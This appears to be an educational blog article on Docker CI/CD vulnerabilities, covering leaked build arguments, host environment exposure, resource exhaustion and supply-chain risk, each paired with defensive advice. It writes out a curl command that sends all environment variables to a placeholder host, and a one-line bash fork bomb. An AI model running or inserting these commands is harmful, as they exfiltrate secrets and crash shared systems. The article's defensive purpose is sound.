The Dangers of Docker: Vulnerabilities in Containerized CI/CD
By Phu khang Bui, Sean Mawhinney and Jiangnan Yan.
In the last few years, CI/CD with containerization has become the new norm for software development. In this article, we will explore some vulnerabilities that arise when building containers.
What is CI/CD?
In a traditional software development environment, developers test code in their local environment then merge code to a Git repo. Upon completion of the project, the software is then published.
In Continuous Integration, Delivery, and Deployment (CI/CD), developers constantly push their code to the CI server. The CI server will compile the code then run automated unit tests before committing to the mainline. The CI server checks that the software in the mainline is always deployable to the production environment. A CD server then automatically deploys up-to-date software.
In the practice of CI/CD, containerization is often involved. Containerization solutions such as Docker provide a minimal OS-level virtualization environment for software testing and deployment.
Docker Basics
Docker container: A runnable instance of an image. A container is isolated from other containers and its host machine.
Docker image: An image is a read-only template with instructions for creating a Docker container. Often, an image is based on another image, with some additional customization.
Dockerfile: A file used to build a Docker image.
Docker-compose: A tool for defining and running multi-container Docker applications. Docker-compose uses a YAML file to define an application.
Docker image build process:
A Docker image is compiled in multi-stage builds. Each Dockerfile argument will create an intermediate layer image. Below are some essential Dockerfile arguments.
From: Download image from Docker repository.
Add: Copy or download files to the destination.
COPY: Copy files to the destination.
ARG: Set build-time argument variables
ENV: Set environment variables
RUN: Run the command at build time.
CMD: Run the command at run time.
Exploiting ENV/ARG
“ARG” and “ENV” are two arguments in a Dockerfile for setting the environment variable. There are several differences between these two arguments.
Accessibility:
“ARG”: Argument variables are accessible only at build time.
“ENV”: Environment variables are accessible at both build time and run time.
Declare time:
“ARG”: Argument variables must be declared in the Dockerfile.
“ENV”: Environment variables can be declared in the Docker run command.
Environment variables often contain critical information about containers and applications. Intruders can use that information to plan a future attack [1]. Among the most noticeable vulnerabilities with exposed environment variables are “Forgotten” variables and Leak Build Host ARGs.
Forgotten Variables
“Forgotten” variables are argument variables that weren’t used. Forgotten variables are often dangerous, since intruders can access them if intruders have control over the container. Most developers acknowledge the dangers of this and carefully avoid Forgotten environment variables in run time. What many developers don’t know is that Forgotten argument variables are equally dangerous.
In many CI/CD operations, argument variables are automatically generated by scripts. Even though many of these arguments are not used in the build process, they end up in the Dockerfile. Docker has a warning for Forgotten variables in build time.
Many arguments such as “Username,” “access tokens,” and “hostname/IP” are often added in the Dockerfile.
At the build time of the Docker image, the Docker will run all “RUN” commands with the access of all argument variables. If Intruders are able to run a script in the build time environment, the intruder can access all argument variables. Intruders can gain critical information for further attacks in this case.
A simple command use to exploit this vulnerability is below [1]:
curl -d “$(printenv)” https://your.http-endpoint.invalid/
Leak Build Host ARGs
Docker-compose is a tool for defining and running multi-container Docker applications. Docker-compose takes a YAML file to configure applications. In this YAML, Docker-compose allows the inclusion of all environment variables of the host machine.
This vulnerability is useful for exporting the configuration of the host machine. There are several common patterns for CI/CD: Multiple Containers per Host, Virtual Machine per User/Build, and Virtual Machine and Private Network.
In the case of Multiple Containers per Host, one user can use the above technique to access the environment variables of the host VM. This means that if intruders gain access to one user, they can obtain information on host VM. Intruders can use that information for further attacks on other users on the same VM.
In the case of Virtual Machine per User/Build and Virtual Machine with Private Network, intruders can access the information of the host VM with one compromised YAML file. This too can be useful for further attacks on other users on the same VM.
Virtual Machine per User/Build and Virtual Machine and Private Network are safer than Multiple Containers per Host.
Defense / Prevention
To prevent the leaking of build host arguments by forgotten ARGs variables, it is recommended to not re-use build hosts if possible. This means to set up multiple hosts for building your image, and configure each host for a single user/build. If this option is not available due to lack of resources or time, developers should adopt the habit of clearing build caches to remove all potential leaks. This would prevent any forgotten build variables to be visible after image build. However, the downside of this practice is an increase in build time, especially for systems using large images.
Another solution that does not compromise build time performance but requires more setup is storing sensitive data outside of the Dockerfile, but allowing it to be accessed inside the build environment [2]. The docker build command has a --network argument that allows intermediate containers to join a network — such as a network with an existing container. Build processes can set up a container that will serve the secret through the shared network to build steps, and they would not be visible in build logs or in final images. However, this method requires an extra degree of configuration that remote build pipelines might not allow. Docker is also developing a new build system called BuildKit which will support build secrets and SSH agent authentication forwarding, but this is unfortunately not ready for production yet.
CI/CD scripts can also check for any access of host environment variables in a YAML file, and flag any attempts to access the environment variables of the host VM.
Exploiting RUN/CMD
Each instruction in the Dockerfile is run in a separate container. However, these intermediate containers typically share a runtime environment. The runtime environment (RTE) is where a program can execute with access to computer resources like RAM and CPU processing, so these resources are shared between the intermediate containers. However, in many cases the RTE is shared across the whole Docker instance, so these intermediate containers also share their resources with any other active containers [1]. What’s more, Docker RTEs often don’t have a max upper bound on resource usage by default. This opens up the possibility of crashing the container’s RTE and possibly the entire build system with a few malicious instructions in the Dockerfile.
There are two commands in particular that can be used to run malicious code: RUN and CMD. RUN will run an instruction when the container is being built, while CMD will run the instruction when the container is run. This allows an attacker some control over when their attack executes.
Fork Bombing
In addition to sophisticated control-hijacking attacks like buffer overrun attacks, we can crash the build system with a very simple attack known as “fork bombing.” A fork bomb attack is a Denial-of-Service attack where the attacker spawns processes that fork infinitely without terminating, eventually overloading memory. This can be done with very little code — it is possible in bash to execute a fork bomb with one line [3]:
:(){ :|: & };:
Note that fork bombing does not necessarily require root permissions, making it very appealing to attackers. Fork bombing and other similar resource exhaustion attacks can be executed in RUN or CMD instructions within a Dockerfile to crash the RTE and potentially the whole build system.
Many CI/CD tools that remotely execute code in Docker will not allow users to supply their own Dockerfiles for security reasons. However, even in some of these cases it is still possible to carry out such attacks. Often, the user is allowed to specify what image will be used for the build. If they can supply their own image to Docker, the image itself can execute malicious code when the container is being built or run to achieve the same effect.
Supply Chain Attacks
The vulnerabilities we have discussed can cause a lot of damage to organizations using CI/CD and cloud services hosted by some third party. An attack on these externally-hosted services would be considered a supply chain attack [1]. A supply chain network is any system where different services are carried out in different environments, all working towards delivering one product. A good example would be a company that hosts a Git repository on another company’s cloud service. In this case, the other company provides a host — one service — to maintain the Git repo — another service — for the first company’s software. If any of these three points are compromised, it poses a problem for the company using the chain. A supply chain attack simply refers to an attack that causes damage to a target by compromising a less-secure service further up the chain. If, as we said before, the attacker is able to provide a malicious Dockerfile or image to some CI/CD service, they can compromise the part of the chain where the container is actually built and run. If this is higher up the supply chain, this can be done without the knowledge of the company using the CI/CD service in question. If the attacker manages to hijack the system, they may be able to execute malicious code to inject a backdoor into the client’s software when it’s being built and run. This creates a vulnerability at every stage downstream of the point of attack in the chain, which the owners of each service may be unaware of or unable to stop.
Defense / Prevention
Fork bombing and other forms of DoS attacks on container clusters through Docker images can be combated by configuring container runtime. Developers can set an upper bound for resources consumed by a container — this includes memory, I/O, or CPU usage. Another restriction is how long a build should take. A kill switch should be set up to kill any container build that takes longer than a limit of, for example, 20 minutes. These methods should be sufficient to mitigate the damage that DoS attacks can have on clusters.
In addition, there are practices that can be applied when working with untrusted containers in general, that will further prevent weaponized containers from happening. One possible method is to assign a dedicated runtime environment for building untrusted containers. This can either be an isolated VM, isolated Kubernetes cluster or a separate Docker instance. After the container has been built successfully, they can be run on the same cluster as the rest of your multi-tenant system.
However, an idea that would be more beneficial long term, and can elevate overall security guarantee of automated build processes, is to have built-in validation tools. Heroku Platform Security team has developed a tool called Terrier, that leverages the fact that Docker images can be converted to tar archives — using the docker save command [4]. Then, the tool establishes a sha256 hash for trusted components — this could be an OS binary like linux x86–64, an NPM package, or a language module. Terrier would receive these trusted hash, and analyze the provided tar to check if all the verified hash are present or if any foreign components exist. Terrier would verify Docker image components, and can be integrated into any build pipeline before any build steps happen. This idea can also be further expanded on for other container building processes. For example, in the case of leaking build variables. We can implement a type of check at the start of the build process for all build arguments and image layers, highlight unused variables and confirm if they are supposed to be present.
Conclusion
To discuss how to defend against the vulnerabilities we examined in this post, it helps to realize that these issues more often come from the lack of a security standard when building applications using Docker, and not just a few specific exploits that only require patching. Therefore, Docker and container technology as a whole requires more secure implementation for building and deploying multi-container systems, and the defense methods suggested here should be viewed as part of a potential standard for security.
An additional observation is how it is still a challenge to identify all vulnerabilities in building and using container services. As we can see, the exploits listed here all originate from a lack of security mechanism in container building processes. However, the technologies are here to stay, and with the existence of orchestration tools like Kubernetes, they will become even more popular. Until the developmental iterations of containers and Docker reach a better security standard, developers should have a clear understanding of their inner workings, and address the potential risks that come with using these technologies.
Acknowledgements
[1] Stalmans, E., LeRoy, C., & Luft, M. (2019, December 15). Reverse Engineering and Exploiting Builds in the Cloud. Retrieved April 3, 2020, from https://www.blackhat.com/eu-19/briefings/schedule/#reverse-engineering-and-exploiting-builds-in-the-cloud-17287
[2] Turner-Trauring, I (2019, June 4). Docker Build Secrets, the Sneaky Way. Retrieved April 3, 2020, from https://pythonspeed.com/articles/docker-build-secrets/
[3] Prajapati, D. (2015, October 9). Fork() Bomb. Retrieved April 3, 2020, from https://www.geeksforgeeks.org/fork-bomb/
[4] Raina, A. S. (2019, July 4). Saving Images and Containers as Tar Files for Sharing. Retrieved April 3, 2020, from http://dockerlabs.collabnix.com/beginners/saving-images-as-tar/
